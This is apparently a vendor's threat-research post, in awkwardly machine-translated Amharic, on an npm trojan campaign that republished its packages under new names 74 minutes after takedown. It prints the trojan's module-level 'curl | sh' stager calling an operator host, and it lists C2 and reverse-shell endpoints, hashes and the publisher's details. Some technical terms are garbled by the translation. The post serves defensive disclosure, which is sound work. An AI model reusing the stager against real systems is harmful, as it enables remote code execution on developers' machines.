GhostTracker: npm ትሮጃን በ74 ደቂቃዎች ውስጥ እንደገና ብራንድ አግኝቷል — ተመሳሳይ C2

GhostTracker፡- ከተወረወረ በኋላ በጥቂት ሰዓታት ውስጥ እንደገና የተሰየመ የnpm ትሮጃን — እና ተመሳሳይ C2 ይዞ የቆየ

TL; DR

አንድ ነጠላ npm ኦፕሬተር ታትሟል አምስት ትሮጃኒዝድ ፓኬጆች በሶስት ቀናት ውስጥ በሁለት ዙሮች። ፓኬጆቹ እንደ ትንሽ ተርሚናል-ቀለም፣ ሎገር እና የፖስትግሬስ-ደንበኛ መገልገያዎች ሆነው ይታያሉ። ተንኮል አዘል ኮዱ ይሰራል ፓኬጁ ከውጪ በመጣበት ቅጽበት — ለመያዝ የሚያስችል የመጫኛ ስክሪፕት የለም።

ዙር አንድ (neon-terminal, neon-postgres, ne-logger) በ2026-07-05 በ14:14 UTC አልታተመም። ከሰባ አራት ደቂቃዎች በኋላ ያው መለያ ተመሳሳይ ትሮጃን በአዲስ ስሞች እንደገና አሳትሟል (agn-terminal, agn-logger) - እና ወደ ላይ አመልክተውታል ተመሳሳይ የትእዛዝ እና የቁጥጥር መጨረሻ ነጥብ ከዚህ በፊት ይጠቀምበት ነበር፦ tracker.bvgroup.co.

ያ C2 አስተናጋጅ ስሙን ከመሰየም የሚተርፈው አንድ አመላካች እና አንድ ተከላካዩ ለመፈለግ ፈጣኑ ነገር ነው። ከፍ ያለሥነ-ምህዳር፡ ጥዋትየሁለተኛው ዙር ፓኬጆች ጽሑፍ በሚጻፍበት ጊዜም ቢሆን በቀጥታ ስርጭት ላይ ነበሩ።

ጥቃቱ፡ እንዴት እንደሚሰራ

ፓኬጆቹ ተግባራዊ ማታለያዎች ናቸው። ክፍት አግ-ተርሚናል እና የተሟላ፣ የሚሰራ የ ANSI ቀለም ረዳት ያገኛሉ - ኮዶች, የቀለም ድጋፍ, ቀለም ቀባ, ቀለም — ከአይነቶች እና ከREADME ጋር። የመገልገያ ኮዱ ይሰራል። ከጠቃሚው ኮድ በላይ ባለው የመግቢያ ሞጁል አናት ላይ የተቆለፈው፣ በማስመጣት ላይ የሚሰሩ ጥቂት መስመሮችን ይዟል።

// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";

const child = exec(
  "curl -fsSL https://remote.agyn.org/remote.sh | " +
  "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
  {}, (error, stdout, stderr) => {},
);

ሶስት ነገሮች ይህንን ውጤታማ ያደርጉታል።

  • ሲጫን ሳይሆን ሲያስገባ ይቃጠላል። ፓኬጁ አይገልጽም ይላል ቅድመ-ጭነት or ድህረ-ጭነት መንጠቆ - ስካነሮች እና ገምጋሚዎች የሚመስሉበት የተለመደ ቦታ። exec ጥሪው የሞጁል ደረጃ ኮድ ነው። ማንኛውም ነገር ለመጀመሪያ ጊዜ ሲሰራ ይሰራል ያስፈልጋል("agn-ተርሚናል") or አስመጪ “agn-terminal”በገንቢው ማሽን ላይ ወይም በCI ውስጥ። ሁለቱም የ ESM ግቤት (src/index.js) እና CommonJS ግቤት (cjs/src/index.js) ተመሳሳይ የሆነ የክፍያ ጭነት ይይዛሉ፣ ስለዚህ ሁለቱም የሞጁል ስርዓቶች ተሸፍነዋል።
  • እውነተኛው ጭነት ከጥቅሉ ውጪ ይኖራል። ፓኬጁ የሚላከው አንድ መስመር ያለው ደረጃ ብቻ ነው፡ ፈልግ remote.agyn.org/remote.sh` እና ወደ ፒፕ ያድርጉት sh`። ኦፕሬተሩ ከዚያ ዩአርኤል በጥያቄ ጊዜ የሚያቀርበው ማንኛውም ነገር የሚሄደው ነው። የC2 የመጨረሻ ነጥብ ወደወረደው ስክሪፕት በኩል ይተላለፋል። TRACKER_REMOTE_ENDPOINT የአካባቢ ተለዋዋጭ፣ ስለዚህ የደረጃ ሁለት ስክሪፕት ወደ ቤት ይሄዳል tracker.bvgroup.co.
  • የሽቦ ማጓጓዣ ጥቅል የፍንዳታ ራዲየስን ያሰፋል። agn-logger ሁለተኛ ማታለያ ነው - "ትንሽ ዓለም አቀፍ ሎገር"። የራሱ የሆነ የክፍያ ጭነት የለውም። የመግቢያ ሞጁሉ አንድ ተዛማጅ ነገር ያደርጋል፡
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');

ያውጃል አግ-ተርሚናል እንደ ጥገኝነት እና ወደ ውስጥ ማስገባት። ሎገር መጫን ወይም ማስመጣት የተርሚናል ፓኬጁን በሽግግር ይጎትታል እና ያስጀምራል። ትሮጃንን በቀጥታ ስም የማያወጣ ፕሮጀክት አሁንም በሎገር በኩል ሊያስኬደው ይችላል።

እዚህ ምን አዲስ ነገር አለ?

የመጀመሪያው ዙር የርቀት ስቴጀር አልተጠቀመም። የክፍያ ጫፉን በመስመር ውስጥ ላከ እና ስሪቱን በስሪት ጨምሯል - በአንድ እትም ውስጥ የባሽ ተገላቢጦሽ ቅርፊት፣ ሀ ኔት.ሶኬት በሚቀጥለው ውስጥ የተገላቢጦሽ ቅርፊት፣ ሀ git add/commit/ግፋ የተጎጂውን የሥራ ማውጫ በሌላኛው ውስጥ፣ እና በመጨረሻም ሙሉ የኤችቲቲፒ ትዕዛዝ እና ቁጥጥር ወኪል በ ውስጥ ኒዮን-ተርሚናል አስተናጋጁን ያስመዘገበው፣ ለተግባራት የዳሰሰ፣ ከእነሱ ጋር ያስኬዳቸው 0.9.0 exec()እና የተለቀቀውን የቤዝ64-ኢንኮድ ውጤት ወደ ኋላ። ሁለተኛው ዙር ያንን ሁሉ ወደ አንድ ነጠላ ያዋህዳል ኩርባ | ሽደረጃ ሁለትን ሙሉ በሙሉ ከመዝገቡ ላይ ማንቀሳቀስ። ተመሳሳይ ኦፕሬተር፣ ጸጥ ያለ ፓኬጅ፣ የበለጠ ተለዋዋጭ የክፍያ ጭነት - እና፣ በወሳኝ ሁኔታ፣ ልክ እንደበፊቱ ተመሳሳይ C2።

የጊዜ መስመር

ቀን (UTC)ድርጊት
2026-07-03 07:03የመጀመሪያው ዙር ታትሟል፡ neon-terminal (0.1.0 ንፁህ፣ ከዚያ 0.2.0–0.9.0 ተንኮል አዘል)፣ neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05neon-terminal በእውነተኛ ጊዜ ቅኝት ላይ ምልክት ተደርጎበታል
2026-07-04ተንኮል አዘል መሆኑ ተረጋግጧል፤ የሁለቱን እህትማማቾች ፓኬጆች ትስስር ያሳያል፤ የመጀመሪያዎቹ የማውረድ ሙከራዎች ቀርበዋል
2026-07-05 14:14የመጀመሪያው ዙር አልታተመም — ሁሉም ስምንቱ neon-terminal ስሪቶች እና እህትማማቾች ተወግደዋል
2026-07-05 15:28agn-terminal 0.1.0 የታተመ
2026-07-05 15:29agn-logger 0.1.0 የታተመ — ለአዲሱ የተርሚናል ጥቅል አገልግሎት አቅራቢ
2026-07-05 (በመካሄድ ላይ ያለ)የሁለት ዙር ፓኬጆች በሚጽፉበት ጊዜ በቀጥታ ስርጭት ላይ ናቸው

ሁለቱ ዙሮች በሦስት ቀናት ልዩነት የሚቆዩ ሲሆን፣ በማውረድ እና እንደገና በማስጀመር መካከል ያለው ክፍተት 74 ደቂቃ ነበር። ዘመቻው ክፍት ነው፡ አግ-* ይህ ሲጻፍ ፓኬጆቹ አልተወገዱም ነበር።

የስምምነት አመልካቾች

የጥቅል ስሞችን ለማግኘት የመቆለፊያ ፋይሎችን እና የጥገኝነት ዛፎችን ይፈልጉ። ፕሮክሲ፣ ዲኤንኤስ እና ኢ.ዲ. የአውታረ መረብ መጨረሻ ነጥቦች ምዝግብ ማስታወሻዎች። የC2 አስተናጋጅ tracker.bvgroup.co ሁለቱንም ዙሮች የሚያካትት ሲሆን ከፍተኛው እሴት ያለው ነጠላ አመልካች ነው።

ጥቅሎች

ጥቅልስሪቶችሚናሁናቴ
neon-terminal0.2.0–0.9.0ትሮጃን (የመስመር ውስጥ የክፍያ ጭነቶች → HTTP C2)ያልታተመ
neon-postgres3.5.2ትሮጃን (በውስጡ የክፍያ ጭነት) src/errors.js)ያልታተመ
ne-logger0.7.0ተሸካሚ (በእሱ ላይ የተመሠረተ ነው neon-terminal)ያልታተመ
agn-terminal0.1.0ትሮጃን (curl | sh ደረጃ ሰጪ)መኖር
agn-logger0.1.0ተሸካሚ (በእሱ ላይ የተመሠረተ ነው agn-terminal)መኖር

ኒዮን-ተርሚናል 0.1.0 ተንኮል አዘል ስሪቶች ከመከተላቸው በፊት ጥቅሉን ለማቋቋም የታተመ ንጹህ ዘር - ምንም አይነት ክፍያ የሌለው የሚሰራ የቀለም ቤተ-መጽሐፍት - ነበር።

አውታረ መረብ

አመልካችየአውድ
tracker.bvgroup.co/remote/…HTTP C2፣ ሁለቱም ዙሮች (ዙር-ሁለት ቶከን) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.shዙር-ሁለት ደረጃ-አንድ ጫኚ
reverse.bvgroup.co:443ክብ-አንድ የተገላቢጦሽ-ቅርፊት የመጨረሻ ነጥብ (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754ክብ-አንድ የተገላቢጦሽ ቅርፊት (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852ክብ-አንድ የተገላቢጦሽ ቅርፊት (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.ioበኦፕሬተር የሚቆጣጠሩ ጎራዎች

የባህሪ

  • ሞጁል-ደረጃ child_process.exec በሁለቱም የመገልገያ ፓኬጅ የመግቢያ ፋይል አናት ላይ src/index.js (ኢኤስኤም) እና cjs/src/index.js (ሲጄኤስ)።
  • A curl -fsSL … | sh ከC2 ጋር ያለው አንድ መስመር በ a በኩል አለፈ TRACKER_REMOTE_ENDPOINT የአካባቢ ተለዋዋጭ።
  • የመጀመሪያውን ጥገኝነት ብሎ የሚያውጅ እና የራሱ የሆነ የክፍያ ጭነት የሌለው ሁለተኛ “የመገልገያ” ጥቅል።
  • የተረፈ አንድ // ኒዮን-ተርሚናል ከላይ አስተያየት ይስጡበት አግ-ተርሚናል - የዳግም ብራንዱን ከዋናው ጋር የሚያገናኝ የቅጂ-ለጥፍ ቅርስ።

የፋይል ሃሾች (SHA-256፣ ዙር ሁለት)

  • አግ-ተርሚናል src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • አግ-ተርሚናል cjs/src/index.js - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • agn-logger src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

ባለቤትነት እና የታየ ባህሪ

እያንዳንዱ ጥቅል ወደ አንድ የ npm መለያ ይከታተላል፣ ቪታሊ-አጊን፣ ባልተረጋገጠው ኢሜይል ስር ታትሟል vitalii@agyn.ioየአካውንቱ የራሱ የመዝገብ ሜታዳታ ሶስቱን ዙር-አንድ ፓኬጆች በእሱ እንደተጠበቁ ይዘረዝራል። መሠረተ ልማቱ ዙሮቹን አንድ ላይ ያገናኛል፡- ጎራው agyn.org ከአሳታሚው ጋር ይዛመዳል agyn.io የኢሜይል ጎራ እና የC2 አስተናጋጅ tracker.bvgroup.co በሁለቱም ውስጥ ይታያል ኒዮን-ተርሚናል 0.9.0 እና አግ-ተርሚናል 0.1.0 - ተመሳሳይ የመሰብሰቢያ መንገድ፣ ከሰየመ በኋላ ቃል በቃል እንደገና ጥቅም ላይ የዋለ።

ቅርሶቹ ምን እንደሚያሳዩ እንገልፃለን እና እዚያው እናቆማለን። የአሳታሚው የተገለጸው ኢሜይል vitalii@agyn.io፤ የዚያን አድራሻ ባለቤትነት አላረጋገጥንም፣ እና መለያውን ለማንኛውም የተሰየመ ሰው ወይም ቡድን አናደርገውም። በሁለት የጥቅል ቤተሰቦች ውስጥ የአንድ C2 የመጨረሻ ነጥብ እንደገና ጥቅም ላይ መዋል ጠንካራ ተመሳሳይ-ኦፕሬተር ምልክት ነው፣ ማንነት አይደለም።

የዙር-አንድ ፓኬጆች በምርት ስም አቅራቢያ ላይ ጥገኛ ነበሩ። ኒዮን-ፖስትግሬስ በስፋት ጥቅም ላይ የዋለው የፖርሳገር ሙሉ ቅጂ ነበር postgres.js ደንበኛ፣ የመለያ መስመር እና ሌሎችም፣ የክፍያ ጭነቱ ተደብቆበት src/errors.js ስለዚህ የተለመደ የማስመጣት መንገድ ወደ እሱ ይደርሳል - እና ኒዮን- ቅድመ ቅጥያው የኒዮንን፣ አገልጋይ የሌለውን የፖስትግሬስ አቅራቢን እውቅና ይሰጣል። የሁለቱ ዙር ስሞች ማስመሰልን ትተው አጠቃላይ ሆኑ (አግ-ተርሚናል, agn-logger)፣ ከተቃጠሉት ስሞች የበለጠ ንፁህ እረፍት ለማግኘት የምርት ስም መገበያየት።

 ተጽዕኖ፣ አዝማሚያዎች እና የተሟጋች መመሪያ

  • ማን ተጋለጠ። ከእነዚህ ፓኬጆች ውስጥ አንዱን በቀጥታ ወይም በአገልግሎት አቅራቢው በኩል በዩኒክስ በሚመስል አስተናጋጅ ላይ የጫነ እና የሚያስመጣ ማንኛውም ሰው። ስቴጀር የሚጠቀመው የተለጠፈ ና sh; ክብ-አንድ ዛጎሎች ጥቅም ላይ ይውላሉ bash ና /dev/tcp. አፈፃፀሙ በሚመጣበት ጊዜ ስለሚከሰት፣ ጥገኝነትን የሚጭን እና የሚነካውን ማንኛውንም ኮድ የሚያስኬድ የግንባታ አገልጋይ በቂ ነው - ከተጫነ በኋላ ምንም እርምጃ አያስፈልግም። በገንቢ የስራ ጣቢያ ወይም በCI ሯጭ ላይ፣ የወረደው ደረጃ ሁለት ከተጠቃሚው መብቶች እና ሙሉ የአውታረ መረብ ተደራሽነት ጋር ይሄዳል።
  • የማስመጣት ጊዜ አፈጻጸም ለምን አስፈላጊ ነው። የአቅርቦት ሰንሰለት መከላከያዎች በጭነት ስክሪፕቶች ላይ አተኩረዋል፣ እና በጥሩ ምክንያት - postinstall ክላሲክ የnpm ግርጌ ነው። ይህ ዘመቻ ከዚያ ሙሉ በሙሉ ወደ ጎን ይሄዳል። ለመጠቆም ምንም የመጫኛ መንጠቆ የለም። ተንኮል አዘል ኮድ የሞዱል ጅምር ሲሆን፣ በጥቅሉ ላይ የፍለጋ ሰንጠረዥን ከጫነ በኋላ በጨረፍታ መለየት አይቻልም። በpackage.json ውስጥ ያሉ ስክሪፕቶችን ብቻ የሚመረምር መሳሪያ ምንም ነገር አያይም።
  • የዳግም ብራንድ እና እንደገና ጥቅም ላይ የመዋል አዝማሚያ። የ74 ደቂቃው የለውጥ ሂደት ታሪኩ ነው። ታዳውን ስሞቹን አስወግዶታል ነገር ግን ኦፕሬተሩን፣ መሠረተ ልማቱን ወይም ኮዱን አላስወገደም። በአንድ ሰዓት ውስጥ ዘመቻው በተመሳሳይ C2 ላይ በሚያመለክቱ አዳዲስ ስሞች ስር እንደገና ተሰራጭቷል። በስም ላይ የተመሰረተ እገዳ - ዲኒሊስት ማድረግ ኒዮን-ተርሚናል - ቀድሞውኑ የቆየ ነበር። በመሠረተ ልማት ላይ የተመሰረተ እገዳ - ዲኒሊስት ማድረግ bvgroup.co - ሲደርስ በሁለተኛው ዙር ይይዝ ነበር። ከምዝገባዎች በፍጥነት እንደገና ለሚያትም የቀጥታ ኦፕሬተር፣ ዘላቂው አመላካች የጥቅል ስሙ ሳይሆን የአውታረ መረቡ የመጨረሻ ነጥብ ነው።

ምን ማድረግ አሁን

  • ከላይ ላሉት አምስት የጥቅል ስሞች የGrep lockfiles እና የተጫኑ ዛፎች። ማንኛውንም ተዛማጅ እንደ የተጎዳ አስተናጋጅ አድርገው ይያዙት እና ከእሱ ሊደረስባቸው የሚችሉ ምስክርነቶችን ያሽከርክሩ።
  • በዶሜይኖች ላይ አግድ እና ማንቂያ bvgroup.co, agyn.org, እና በዲ ኤን ኤስ እና በኤጀንት ማጣሪያ ውስጥ ያሉ የngrok የመጨረሻ ነጥቦች። tracker.bvgroup.co ቅድሚያ የሚሰጠው ጉዳይ ነው።
  • በመጫኛ መንጠቆ ቅኝት ላይ ብቻ አትተማመኑ። ለሞጁል ደረጃ ማወቂያን ያክሉ የልጅ_ሂደት እና የአውታረ መረብ ጥሪዎች በጥገኛዎች ውስጥ፣ እና ለ ኩርባ … | sh በጥቅል ምንጭ ውስጥ ያሉ ቅጦች።
  • ሌላ ግልጽ ያልሆነ መገልገያ እንደ ብቸኛ ጥገኝነቱ የሚያውጅ እና ሲጫን የሚያስመጣውን የመገልገያ ፓኬጅ ለሁለተኛ ጊዜ መታየት የሚገባው አድርገው ይመለከቱት።
  • በሲአይ ውስጥ፣ ይመረጣል -አይመልከቱ-ስክሪፕቶች ተግባራዊ በሆነበት ቦታ፣ ግን እዚህ ላይ እንደማይረዳ ተረድተው - የክፍያ ጭነቱ የሚሄደው በሚያስመጣበት ጊዜ ነው፣ ስለዚህ የሩጫ ጊዜ መውጫ መቆጣጠሪያዎች እና የጥገኝነት ግምገማ የበለጠ አስፈላጊ ናቸው።

ማጣቀሻዎች

sca-tools-software-composition-analyse-tools
የሶፍትዌር አደጋዎችዎን ቅድሚያ ይስጡ፣ ያስተካክሉ እና ይጠብቁ
ነፃ መለያ ያግኙ።
ምንም ዱቤ ካርድ አያስፈልግም።

የሶፍትዌርዎን ልማት እና አቅርቦት ደህንነት ይጠብቁ

ከ Xygeni Product Suite ጋር